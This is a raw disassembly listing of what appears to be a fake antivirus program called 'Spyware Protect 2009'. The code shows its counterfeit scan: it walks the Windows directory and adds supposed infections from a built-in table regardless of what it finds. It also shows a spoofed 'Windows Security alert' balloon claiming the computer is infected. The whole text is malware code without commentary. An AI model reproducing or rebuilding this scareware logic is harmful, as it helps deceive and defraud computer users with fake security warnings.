		push	ebx
		push	esi
		push	dword ptr [edi+7Ch]
		mov	dword ptr [edi], offset	off_424CAC
		mov	dword ptr [edi+24h], offset loc_424CC8
		call	dword_41D070	; SetEvent
		mov	eax, [edi+60h]
		mov	ebx, dword_41D0A8
		test	eax, eax
		jz	short loc_40965B
		push	0FFFFFFFFh
		push	eax
		call	dword_41D06C	; WaitForSingleObject
		test	eax, eax
		jnz	short loc_40965B
		push	dword ptr [edi+60h]
		call	ebx ; dword_41D0A8
		and	dword ptr [edi+64h], 0


loc_40965B:				; CODE XREF: sub_40961F+24j
					; sub_40961F+31j
		mov	esi, [edi+84h]
		test	esi, esi
		jz	short loc_40966A
		call	sub_40939B


loc_40966A:				; CODE XREF: sub_40961F+44j
		mov	esi, [edi+80h]
		test	esi, esi
		jz	short loc_409679
		call	sub_40939B


loc_409679:				; CODE XREF: sub_40961F+53j
		cmp	byte ptr [edi+78h], 0
		jz	short loc_409684
		push	dword ptr [edi+7Ch]
		call	ebx ; dword_41D0A8


loc_409684:				; CODE XREF: sub_40961F+5Ej
		mov	ecx, edi
		call	sub_404B59
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_40961F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40968F	proc near		; DATA XREF: sub_409533+99o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+88h], 0
		jnz	short loc_4096F8
		push	ebx
		push	edi
		push	0
		push	0
		push	offset aScanstart ; "scanStart"
		mov	eax, esi
		call	sub_417FE1
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [esi+34h]
		push	offset dword_424384
		call	dword_41D3CC
		mov	ebx, [ebp+var_4]
		push	8
		lea	edi, [esi+60h]
		call	sub_40B45F
		pop	ecx
		lea	ecx, [edi+4]
		push	ecx
		xor	ecx, ecx
		push	ecx
		push	eax
		push	offset sub_40A452
		push	ecx
		push	ecx
		mov	[eax], edi
		mov	[eax+4], ebx
		call	dword_41D0B0	; CreateThread
		mov	[edi], eax
		pop	edi
		mov	byte ptr [esi+88h], 1
		pop	ebx
		jmp	short loc_409701
; ---------------------------------------------------------------------------


loc_4096F8:				; CODE XREF: sub_40968F+Ej
		push	dword ptr [esi+7Ch]
		call	dword_41D070	; SetEvent


loc_409701:				; CODE XREF: sub_40968F+67j
		mov	eax, offset aTrue ; "true"
		pop	esi
		leave
		retn	8
sub_40968F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40970B	proc near		; DATA XREF: sub_409533+AEo
		push	ecx
		push	dword ptr [ecx+4]
		call	sub_417588
		pop	ecx
		mov	eax, offset aTrue ; "true"
		pop	ecx
		retn	8
sub_40970B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40971E	proc near		; CODE XREF: sub_4098E0+1CEp

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	0Ah
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	sub_40B83C
		lea	eax, [ebp+var_18]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		push	offset aSetprogressbar ; "setProgressBar"
		mov	eax, esi
		call	sub_417FE1
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		leave
		retn	4
sub_40971E	endp

; ---------------------------------------------------------------------------
		mov	eax, [ecx+80h]
		push	dword ptr [eax+4]
		call	dword_41D070	; SetEvent
		call	sub_4170C1
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40977C	proc near		; DATA XREF: UPX0:00424CBCo

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, dword_41D074
		mov	esi, ecx
		mov	[ebp+var_1], bl
		jmp	short loc_4097C8
; ---------------------------------------------------------------------------


loc_409794:				; CODE XREF: sub_40977C+5Dj
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_41D2D8	; TranslateMessage
		cmp	[ebp+var_1C], 10h
		jz	short loc_4097DD
		mov	eax, 100h
		cmp	[ebp+var_1C], eax
		jnz	short loc_4097BE
		push	[ebp+var_14]
		push	[ebp+var_18]
		push	eax
		push	dword ptr [esi+4]
		call	dword_41D288	; SendMessageW


loc_4097BE:				; CODE XREF: sub_40977C+30j
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_41D26C	; DispatchMessageW


loc_4097C8:				; CODE XREF: sub_40977C+16j
					; sub_40977C+B6j
		push	1
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_41D2F0	; PeekMessageW
		test	eax, eax
		jnz	short loc_409794
		jmp	short loc_4097E1
; ---------------------------------------------------------------------------


loc_4097DD:				; CODE XREF: sub_40977C+26j
		mov	[ebp+var_1], 1


loc_4097E1:				; CODE XREF: sub_40977C+5Fj
		mov	eax, [esi+80h]
		push	1
		push	ebx
		push	dword ptr [eax+4]
		call	edi ; dword_41D074
		test	eax, eax
		jnz	short loc_4097FF
		push	ebx
		push	dword ptr [esi+4]
		call	dword_41D298	; ShowWindow
		jmp	short loc_40982F
; ---------------------------------------------------------------------------


loc_4097FF:				; CODE XREF: sub_40977C+75j
		mov	eax, [esi+84h]
		push	1
		push	ebx
		push	dword ptr [eax+4]
		call	edi ; dword_41D074
		test	eax, eax
		jnz	short loc_409827
		push	5
		push	dword ptr [esi+4]
		call	dword_41D298	; ShowWindow
		push	dword ptr [esi+4]
		call	dword_41D334	; SetForegroundWindow
		jmp	short loc_40982F
; ---------------------------------------------------------------------------


loc_409827:				; CODE XREF: sub_40977C+93j
		push	1
		call	dword_41D080	; Sleep


loc_40982F:				; CODE XREF: sub_40977C+81j
					; sub_40977C+A9j
		cmp	[ebp+var_1], bl
		jz	short loc_4097C8
		mov	eax, [ebp+var_18]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40977C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40983C	proc near		; DATA XREF: sub_409533+C2o

var_218		= byte ptr -218h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		push	ebx
		mov	esi, ecx
		call	dword_41D3C8
		lea	eax, [esi+34h]
		push	eax
		push	offset dword_424384
		push	edi
		call	dword_41D390
		push	dword ptr [esi+7Ch]
		call	dword_41D098	; ResetEvent
		push	104h
		lea	eax, [ebp+var_218]
		push	eax
		mov	[esi+8Ch], ebx
		mov	[esi+90h], ebx
		mov	[esi+94h], ebx
		mov	dword ptr [esi+98h], 22h
		call	dword_41D0AC	; GetWindowsDirectoryW
		lea	eax, [ebp+var_218]
		push	eax
		mov	ecx, esi
		call	sub_4098E0
		push	ebx
		push	ebx
		push	offset aScanstop ; "scanStop"
		mov	eax, esi
		call	sub_417FE1
		mov	[esi+88h], bl
		call	dword_41D3C0
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn	4
sub_40983C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098E0	proc near		; CODE XREF: sub_40983C+74p
					; sub_4098E0+17Fp

var_2B8		= dword	ptr -2B8h
var_2B4		= byte ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= byte ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= byte ptr -2A0h
var_29C		= dword	ptr -29Ch
var_288		= dword	ptr -288h
var_284		= byte ptr -284h
var_280		= dword	ptr -280h
var_26C		= dword	ptr -26Ch
var_268		= byte ptr -268h
var_23C		= byte ptr -23Ch
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	0FFFFFFFFh
		push	offset loc_41C599
		mov	eax, large fs:0
		push	eax
		sub	esp, 2B0h
		mov	eax, dword_42A034
		xor	eax, esp
		mov	[esp+2BCh+var_14], eax
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_42A034
		xor	eax, esp
		push	eax
		lea	eax, [esp+2CCh+var_C]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	[esp+2CCh+var_2B0], eax
		push	eax
		lea	eax, [esp+2D0h+var_284]
		mov	edi, ecx
		call	sub_40518A
		and	[esp+2CCh+var_4], 0
		push	offset asc_424958 ; "\\*"
		lea	eax, [esp+2D0h+var_284]
		push	eax
		call	sub_40A281
		cmp	[esp+2CCh+var_26C], 8
		mov	eax, [esp+2CCh+var_280]
		jnb	short loc_409959
		lea	eax, [esp+2CCh+var_280]


loc_409959:				; CODE XREF: sub_4098E0+73j
		lea	ecx, [esp+2CCh+var_268]
		push	ecx
		push	eax
		call	dword_41D1BC	; FindFirstFileW
		mov	dword ptr [esp+2CCh+var_2B4], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_409B78
		mov	ebx, 10E1h


loc_409977:				; CODE XREF: sub_4098E0+288j
		push	0
		push	dword ptr [edi+7Ch]
		call	dword_41D06C	; WaitForSingleObject
		test	eax, eax
		jz	loc_409B6E
		mov	ecx, offset a_	; "."
		lea	eax, [esp+2CCh+var_23C]


loc_409996:				; CODE XREF: sub_4098E0+D6j
		mov	dx, [eax]
		cmp	dx, [ecx]
		jnz	short loc_4099BC
		test	dx, dx
		jz	short loc_4099B8
		mov	dx, [eax+2]
		cmp	dx, [ecx+2]
		jnz	short loc_4099BC
		add	eax, 4
		add	ecx, 4
		test	dx, dx
		jnz	short loc_409996


loc_4099B8:				; CODE XREF: sub_4098E0+C1j
		xor	eax, eax
		jmp	short loc_4099C1
; ---------------------------------------------------------------------------


loc_4099BC:				; CODE XREF: sub_4098E0+BCj
					; sub_4098E0+CBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4099C1:				; CODE XREF: sub_4098E0+DAj
		test	eax, eax
		jz	loc_409B3F
		mov	ecx, offset a__	; ".."
		lea	eax, [esp+2CCh+var_23C]


loc_4099D5:				; CODE XREF: sub_4098E0+115j
		mov	dx, [eax]
		cmp	dx, [ecx]
		jnz	short loc_4099FB
		test	dx, dx
		jz	short loc_4099F7
		mov	dx, [eax+2]
		cmp	dx, [ecx+2]
		jnz	short loc_4099FB
		add	eax, 4
		add	ecx, 4
		test	dx, dx
		jnz	short loc_4099D5


loc_4099F7:				; CODE XREF: sub_4098E0+100j
		xor	eax, eax
		jmp	short loc_409A00
; ---------------------------------------------------------------------------


loc_4099FB:				; CODE XREF: sub_4098E0+FBj
					; sub_4098E0+10Aj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_409A00:				; CODE XREF: sub_4098E0+119j
		test	eax, eax
		jz	loc_409B3F
		push	[esp+2CCh+var_2B0]
		lea	eax, [esp+2D0h+var_2A0]
		call	sub_40518A
		push	offset asc_42496C ; "\\"
		lea	eax, [esp+2D0h+var_2A0]
		push	eax
		mov	byte ptr [esp+2D4h+var_4], 1
		call	sub_40A281
		lea	eax, [esp+2CCh+var_23C]
		push	eax
		lea	eax, [esp+2D0h+var_2A0]
		push	eax
		call	sub_40A281
		push	0Ah
		call	dword_41D080	; Sleep
		test	[esp+2CCh+var_268], 10h
		mov	eax, [esp+2CCh+var_29C]
		jz	short loc_409A69
		cmp	[esp+2CCh+var_288], 8
		jnb	short loc_409A5C
		lea	eax, [esp+2CCh+var_29C]


loc_409A5C:				; CODE XREF: sub_4098E0+176j
		push	eax
		mov	ecx, edi
		call	sub_4098E0
		jmp	loc_409B2A
; ---------------------------------------------------------------------------


loc_409A69:				; CODE XREF: sub_4098E0+16Fj
		cmp	[esp+2CCh+var_288], 8
		jnb	short loc_409A74
		lea	eax, [esp+2CCh+var_29C]


loc_409A74:				; CODE XREF: sub_4098E0+18Ej
		mov	[esp+2CCh+var_2B8], eax
		lea	eax, [esp+2CCh+var_2B8]
		push	eax
		push	1
		push	offset aSetscanfile ; "setScanFile"
		mov	eax, edi
		call	sub_417FE1
		inc	dword ptr [edi+8Ch]
		mov	eax, [edi+8Ch]
		imul	eax, 64h
		cdq
		mov	ecx, ebx
		idiv	ecx
		lea	ecx, [edi+90h]
		cmp	eax, [ecx]
		jz	short loc_409AB3
		push	eax
		mov	esi, edi
		mov	[ecx], eax
		call	sub_40971E


loc_409AB3:				; CODE XREF: sub_4098E0+1C7j
		mov	esi, [edi+94h]
		test	esi, esi
		jz	short loc_409AEE
		mov	ecx, [edi+98h]
		cmp	esi, ecx
		jge	short loc_409B2A
		mov	eax, ebx
		cdq
		idiv	ecx
		mov	[esp+2CCh+var_2B8], eax
		fild	[esp+2CCh+var_2B8]
		fdiv	dbl_424CF8
		call	sub_418CC0
		mov	ecx, eax
		mov	eax, [edi+8Ch]
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_409B2A


loc_409AEE:				; CODE XREF: sub_4098E0+1DBj
		mov	eax, esi
		imul	eax, 0Ch
		mov	ecx, off_42DA60[eax]
		mov	edx, off_42DA5C[eax]
		mov	eax, off_42DA58[eax]
		mov	[esp+2CCh+var_2A4], eax
		lea	eax, [esp+2CCh+var_2AC]
		push	eax
		push	3
		push	offset aAddvirustable ;	"addVirusTable"
		mov	eax, edi
		mov	[esp+2D8h+var_2A8], edx
		mov	dword ptr [esp+2D8h+var_2AC], ecx
		call	sub_417FE1
		inc	dword ptr [edi+94h]


loc_409B2A:				; CODE XREF: sub_4098E0+184j
					; sub_4098E0+1E5j ...
		push	0
		push	1
		lea	esi, [esp+2D4h+var_2A0]
		mov	byte ptr [esp+2D4h+var_4], 0
		call	sub_4055BC


loc_409B3F:				; CODE XREF: sub_4098E0+E3j
					; sub_4098E0+122j
		lea	eax, [esp+2CCh+var_268]
		push	eax
		push	dword ptr [esp+2D0h+var_2B4]
		call	dword_41D0A4	; FindNextFileW
		cmp	eax, 1
		jnz	short loc_409B6E
		push	0
		push	dword ptr [edi+7Ch]
		call	dword_41D06C	; WaitForSingleObject
		test	eax, eax
		jz	short loc_409B6E
		cmp	[edi+8Ch], ebx
		jl	loc_409977


loc_409B6E:				; CODE XREF: sub_4098E0+A4j
					; sub_4098E0+271j ...
		push	dword ptr [esp+2CCh+var_2B4]
		call	dword_41D094	; FindClose


loc_409B78:				; CODE XREF: sub_4098E0+8Cj
		push	0
		push	1
		lea	esi, [esp+2D4h+var_284]
		call	sub_4055BC
		mov	ecx, [esp+2CCh+var_C]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+2BCh+var_14]
		xor	ecx, esp
		call	sub_40AC1C
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4098E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_409BAB	proc near		; DATA XREF: UPX0:00424CB0o

arg_0		= byte ptr  4

		push	edi
		mov	edi, ecx
		call	sub_40961F
		test	[esp+4+arg_0], 1
		jz	short loc_409BC1
		push	edi
		call	sub_40AC11
		pop	ecx


loc_409BC1:				; CODE XREF: sub_409BAB+Dj
		mov	eax, edi
		pop	edi
		retn	4
sub_409BAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_409BC7	proc near		; CODE XREF: sub_417692+5Bp
		push	0
		mov	eax, offset loc_41C7C8
		call	sub_40C46D
		mov	edi, [ebp+8]
		xor	ebx, ebx
		mov	[edi+0Ch], ebx
		mov	[edi+8], ebx
		mov	[edi+4], ebx
		mov	[edi], ebx
		mov	[edi+1Ch], ebx
		mov	[edi+18h], ebx
		mov	[edi+14h], ebx
		mov	[edi+10h], ebx
		mov	[edi+2Ch], ebx
		mov	[edi+28h], ebx
		mov	[edi+24h], ebx
		mov	[edi+20h], ebx
		push	ebx
		lea	esi, [edi+40h]
		mov	[edi+3Ch], ebx
		mov	[edi+38h], ebx
		mov	[edi+34h], ebx
		mov	[edi+30h], ebx
		call	sub_408D6F
		push	ebx
		lea	esi, [edi+48h]
		mov	[ebp-4], ebx
		call	sub_408D6F
		push	ebx
		lea	esi, [edi+50h]
		call	sub_408D6F
		push	ebx
		lea	esi, [edi+58h]
		call	sub_408D6F
		push	ebx
		lea	esi, [edi+60h]
		call	sub_408D6F
		push	ebx
		lea	esi, [edi+68h]
		call	sub_408D6F
		push	ebx
		lea	esi, [edi+70h]
		call	sub_408D6F
		mov	byte ptr [ebp-4], 6
		mov	[edi+94h], bl
		mov	dword ptr [edi+0Ch], offset sub_409FB8
		mov	[edi+8], edi
		mov	[edi+4], ebx
		mov	[edi], ebx
		mov	dword ptr [edi+1Ch], offset sub_40A0E8
		mov	[edi+18h], edi
		mov	[edi+14h], ebx
		mov	[edi+10h], ebx
		mov	dword ptr [edi+2Ch], offset sub_40A147
		mov	[edi+28h], edi
		mov	[edi+24h], ebx
		mov	[edi+20h], ebx
		call	sub_4170DD
		test	al, al
		jnz	short loc_409CA3
		lea	esi, [edi+30h]
		push	ebx
		mov	dword ptr [esi+0Ch], offset sub_409CE5
		mov	[esi+8], edi
		mov	[esi+4], ebx
		mov	[esi], ebx
		call	sub_40A2BB


loc_409CA3:				; CODE XREF: sub_409BC7+C2j
		mov	eax, edi
		call	sub_40C50C
		retn	4
sub_409BC7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409CAD	proc near		; CODE XREF: sub_409F62:loc_409F9Cp
					; sub_417692+B3p
		push	esi
		mov	esi, eax
		cmp	dword ptr [esi+4], 0
		jnz	short loc_409CDA
		mov	eax, [esi+44h]
		push	edi
		lea	edi, [esi+78h]
		mov	[edi], eax
		mov	eax, [esi+4Ch]
		mov	[esi+7Ch], eax
		call	sub_4170D1
		movzx	eax, al
		push	edi
		mov	[esi+80h], eax
		call	sub_40A2BB
		pop	edi


loc_409CDA:				; CODE XREF: sub_409CAD+7j
		push	dword ptr [esi+44h]
		call	dword_41D070	; SetEvent
		pop	esi
		retn
sub_409CAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CE5	proc near		; DATA XREF: sub_409BC7+C8o

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_3C		= byte ptr -3Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	0CF0000h
		push	offset dword_4245BC
		push	offset aStatic	; "STATIC"
		push	ebx
		mov	esi, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	dword_41D290	; CreateWindowExW
		mov	edi, dword_41D2B4
		push	esi
		push	0FFFFFFEBh
		push	eax
		mov	[esi+98h], eax
		call	edi ; dword_41D2B4
		push	offset sub_409F62
		push	0FFFFFFFCh
		push	dword ptr [esi+98h]
		call	edi ; dword_41D2B4
		mov	eax, [esi+98h]
		push	100h
		mov	[esi+0A0h], eax
		xor	edi, edi
		push	offset aSpywareProtect ; "Spyware Protect 2009"
		lea	eax, [esi+0B4h]
		inc	edi
		push	eax
		mov	dword ptr [esi+9Ch], 3A8h
		mov	[esi+0A4h], edi
		mov	dword ptr [esi+0A8h], 7
		mov	dword ptr [esi+0ACh], 8001h
		call	dword_41D08C	; lstrcpynW
		push	ebx
		mov	[esi+0B0h], ebx
		call	dword_41D2DC	; GetDC
		push	20h
		push	20h
		push	eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_20], edi
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_18], ebx
		call	dword_41D044	; CreateCompatibleBitmap
		push	offset dword_42CA58
		push	edi
		push	edi
		push	20h
		push	20h
		mov	[ebp+var_10], eax
		call	dword_41D030	; CreateBitmap
		push	0Ah
		pop	ecx
		mov	[ebp+var_14], eax
		xor	eax, eax
		lea	edi, [ebp+var_64]
		rep stosd
		xor	ecx, ecx
		push	20h
		pop	eax
		inc	ecx
		mov	[ebp+var_5C], cx
		mov	ecx, eax
		mov	[ebp+var_5A], cx
		push	ebx
		lea	ecx, [ebp+var_68]
		mov	[ebp+var_68], 28h
		mov	[ebp+var_64], eax
		mov	[ebp+var_60], eax
		mov	[ebp+var_58], ebx
		push	ecx
		push	offset dword_42BA58
		push	eax
		push	ebx
		push	[ebp+var_10]
		push	[ebp+var_C]
		call	dword_41D050	; SetDIBits
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_41D2EC	; CreateIconIndirect
		push	[ebp+var_10]
		mov	edi, dword_41D038
		mov	[ebp+var_C], eax
		call	edi ; dword_41D038
		push	[ebp+var_14]
		call	edi ; dword_41D038
		mov	eax, [ebp+var_C]
		mov	edi, dword_41D264
		or	dword ptr [esi+0A8h], 2
		mov	[esi+0B0h], eax
		lea	eax, [esi+9Ch]
		push	eax
		push	ebx
		call	edi ; dword_41D264
		mov	eax, [esi+0B0h]
		cmp	eax, ebx
		jz	short loc_409EB8
		push	eax
		call	dword_41D2F8	; DestroyIcon
		jmp	short loc_409EB8
; ---------------------------------------------------------------------------


loc_409E4E:				; CODE XREF: sub_409CE5+1E2j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 0Ah
		jnz	short loc_409EA5
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_40BB3D
		pop	ecx
		cmp	[esi+94h], bl
		jnz	short loc_409E84
		mov	ecx, [ebp+var_8]
		add	ecx, 64h
		cmp	ecx, eax
		ja	short loc_409EA5
		call	sub_409EDC
		push	ebx
		call	sub_40BB3D
		pop	ecx
		mov	[ebp+var_8], eax
		jmp	short loc_409EA5
; ---------------------------------------------------------------------------


loc_409E84:				; CODE XREF: sub_409CE5+182j
		lea	eax, [esi+9Ch]
		push	eax
		push	2
		call	edi ; dword_41D264
		jmp	short loc_409EA5
; ---------------------------------------------------------------------------


loc_409E91:				; CODE XREF: sub_409CE5+1D1j
		lea	eax, [ebp+var_3C]
		push	eax
		call	dword_41D2D8	; TranslateMessage
		lea	eax, [ebp+var_3C]
		push	eax
		call	dword_41D26C	; DispatchMessageW


loc_409EA5:				; CODE XREF: sub_409CE5+170j
					; sub_409CE5+18Cj ...
		push	1
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_3C]
		push	eax
		call	dword_41D2F0	; PeekMessageW
		test	eax, eax
		jnz	short loc_409E91


loc_409EB8:				; CODE XREF: sub_409CE5+15Ej
					; sub_409CE5+167j
		push	1
		push	64h
		push	dword ptr [esi+74h]
		call	dword_41D074	; WaitForSingleObjectEx
		test	eax, eax
		jnz	short loc_409E4E
		push	dword ptr [esi+98h]
		call	dword_41D304	; DestroyWindow
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_409CE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_409EDC	proc near		; CODE XREF: sub_409CE5+18Ep
		push	ebx
		mov	ebx, dword_41D08C
		push	edi
		push	40h
		push	offset aWindowsSecurit ; "Windows Security alert"
		lea	eax, [esi+3C0h]
		lea	edi, [esi+9Ch]
		push	eax
		mov	dword ptr [edi], 3A8h
		mov	dword ptr [esi+0A8h], 11h
		mov	dword ptr [esi+440h], 3
		call	ebx ; dword_41D08C
		push	100h
		push	offset aWindowsReports ; "Windows reports that computer	is infect"...
		lea	eax, [esi+1BCh]
		push	eax
		call	ebx ; dword_41D08C
		mov	ecx, [esi+98h]
		and	dword ptr [esi+0B0h], 0
		xor	eax, eax
		inc	eax
		push	edi
		push	eax
		mov	[esi+0A4h], eax
		mov	[esi+0A0h], ecx
		mov	dword ptr [esi+0ACh], 8001h
		mov	dword ptr [esi+3BCh], 0EA60h
		call	dword_41D264
		pop	edi
		pop	ebx
		retn
sub_409EDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F62	proc near		; DATA XREF: sub_409CE5+43o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 8001h
		jnz	short loc_409FB1
		push	0FFFFFFEBh
		push	[ebp+arg_0]
		call	dword_41D2CC	; GetWindowLongW
		mov	ecx, [ebp+arg_C]
		cmp	ecx, 203h
		jl	short loc_409FA1
		cmp	ecx, 204h
		jle	short loc_409F9C
		cmp	ecx, 404h
		jz	short loc_409FA7
		cmp	ecx, 405h
		jnz	short loc_409FA1


loc_409F9C:				; CODE XREF: sub_409F62+28j
		call	sub_409CAD


loc_409FA1:				; CODE XREF: sub_409F62+20j
					; sub_409F62+38j ...
		xor	eax, eax
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_409FA7:				; CODE XREF: sub_409F62+30j
		push	0
		call	dword_41D2E4	; PostQuitMessage
		jmp	short loc_409FA1
; ---------------------------------------------------------------------------


loc_409FB1:				; CODE XREF: sub_409F62+Aj
		pop	ebp
		jmp	dword_41D278
sub_409F62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409FB8	proc near		; DATA XREF: sub_409BC7+8Co

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= word ptr -0E0h
var_DE		= word ptr -0DEh
var_DC		= dword	ptr -0DCh
var_C0		= byte ptr -0C0h
var_B0		= byte ptr -0B0h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	0FFFFFFFFh
		push	offset loc_41C75A
		mov	eax, large fs:0
		push	eax
		sub	esp, 0E8h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_42A034
		xor	eax, esp
		push	eax
		lea	eax, [esp+104h+var_C]
		mov	large fs:0, eax
		push	[ebp+arg_0]
		lea	eax, [esp+108h+var_B0]
		push	eax
		call	sub_409533
		xor	ebx, ebx
		push	ebx
		mov	[esp+108h+var_4], ebx
		call	dword_41D2DC	; GetDC
		push	20h
		pop	esi
		push	esi
		xor	edi, edi
		push	esi
		inc	edi
		push	eax
		mov	[esp+114h+var_F8], eax
		mov	[esp+114h+var_F4], edi
		mov	[esp+114h+var_F0], ebx
		mov	[esp+114h+var_EC], ebx
		call	dword_41D044	; CreateCompatibleBitmap
		push	offset dword_42CA58
		push	edi
		push	edi
		push	esi
		push	esi
		mov	[esp+128h+var_F0], eax
		call	dword_41D030	; CreateBitmap
		push	0Ah
		pop	ecx
		mov	[esp+114h+var_F4], eax
		xor	eax, eax
		lea	edi, [esp+114h+var_E8]
		rep stosd
		inc	eax
		mov	[esp+114h+var_E0], ax
		push	ebx
		mov	eax, esi
		mov	[esp+118h+var_DE], ax
		lea	eax, [esp+118h+var_EC]
		push	eax
		push	offset dword_42BA58
		push	esi
		push	ebx
		push	[esp+128h+var_F0]
		mov	[esp+12Ch+var_EC], 28h
		push	[esp+12Ch+var_104]
		mov	[esp+130h+var_E8], esi
		mov	[esp+130h+var_E4], esi
		mov	[esp+130h+var_DC], ebx
		call	dword_41D050	; SetDIBits
		lea	eax, [esp+114h+var_100]
		push	eax
		call	dword_41D2EC	; CreateIconIndirect
		push	[esp+114h+var_F0]
		mov	esi, dword_41D038
		mov	edi, eax
		call	esi ; dword_41D038
		push	[esp+114h+var_F4]
		call	esi ; dword_41D038
		push	offset aSwp2009Demo ; "SWP2009 demo"
		push	edi
		push	90000000h
		push	ebx
		lea	eax, [esp+124h+var_C0]
		call	sub_418186
		push	edi
		call	dword_41D2F8	; DestroyIcon
		or	[esp+114h+var_14], 0FFFFFFFFh
		lea	edi, [esp+114h+var_C0]
		call	sub_40961F
		mov	ecx, [esp+114h+var_1C]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_409FB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A0E8	proc near		; DATA XREF: sub_409BC7+9Bo
		push	64h
		mov	eax, offset loc_41C734
		call	sub_40C46D
		mov	edi, [ebp+8]
		lea	eax, [ebp-70h]
		push	eax
		call	sub_4093B3
		xor	eax, eax
		push	eax
		push	eax
		push	90000000h
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	0CF0000h
		push	offset dword_4245BC
		push	offset aStatic	; "STATIC"
		push	eax
		mov	[ebp-4], eax
		call	dword_41D290	; CreateWindowExW
		push	eax
		lea	eax, [ebp-70h]
		call	sub_418186
		or	dword ptr [ebp-4], 0FFFFFFFFh
